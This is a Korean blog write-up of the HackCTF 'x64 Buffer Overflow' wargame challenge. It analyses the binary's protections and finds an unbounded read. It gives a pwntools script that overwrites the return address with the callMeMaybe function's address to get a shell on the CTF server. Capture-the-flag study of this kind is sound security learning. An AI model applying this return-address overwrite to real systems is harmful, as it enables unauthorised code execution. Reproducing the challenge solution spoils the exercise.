wargame/HackCTF

[HackCTF] x64 Buffer Overflow | write up

$1m0hYa 2020. 7. 4. 16:51

안녕하세요 ㅎㅎ 오랜만에 돌아온 write up 쓰기 입니다.

 

이번에는 x64 Buffer Overflow문제! 푸러보게씁니다

바로 분석 할게용

 

 

64bit 기반 ELF 파일이면서, NX bit가 활성화 되어 있습니다.

그렇다면, shellcode로 익스를 짜기는 어렵다고 볼 수 있네영

 

또한, canary가 비활성화 되어 있으니 BOF를 할 수 있습니다.

 

그 다음에는 ida로 C소스코드를 보겠습니다.

오오~ 바로 취약점이 보입니다!

 

변수 s에다 입력을 받는데, 무한정 받고 있다는 것을 확인할 수가 있습니다!

그렇다면, Return adress가 존재하는 곳에 점프할 곳을 쓰면 되는데, 

어디로 점프해야 할까요?

 

고민하던 찰나 함수창을 보았더니

빙고!

callMeMaybe라고 자기를 불러달라고 합니다 ㅋㅋㅋ

callMeMaybe 함수에서는 바로 bash를 실행시켜 줍니다.

 

그렇다면, 우리가 return adress에 덮어야 할 부분은 바로 이 callMeMaybe함수의 주소라는 이야기죠 ㅎㅎ

 

요약


1. 변수 s와 sfp를 덮는다.

2. return 주소를 callMeMaybe주소로 덮어준다.

3. 끝

 

소스코드 보여드리겠습니당~

 

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3004)

callMeMaybe = 0x0000000000400606

pay = 'a' * 0x110
pay += 'a' * 8
pay += p64(callMeMaybe)

p.sendline(pay)

p.interactive()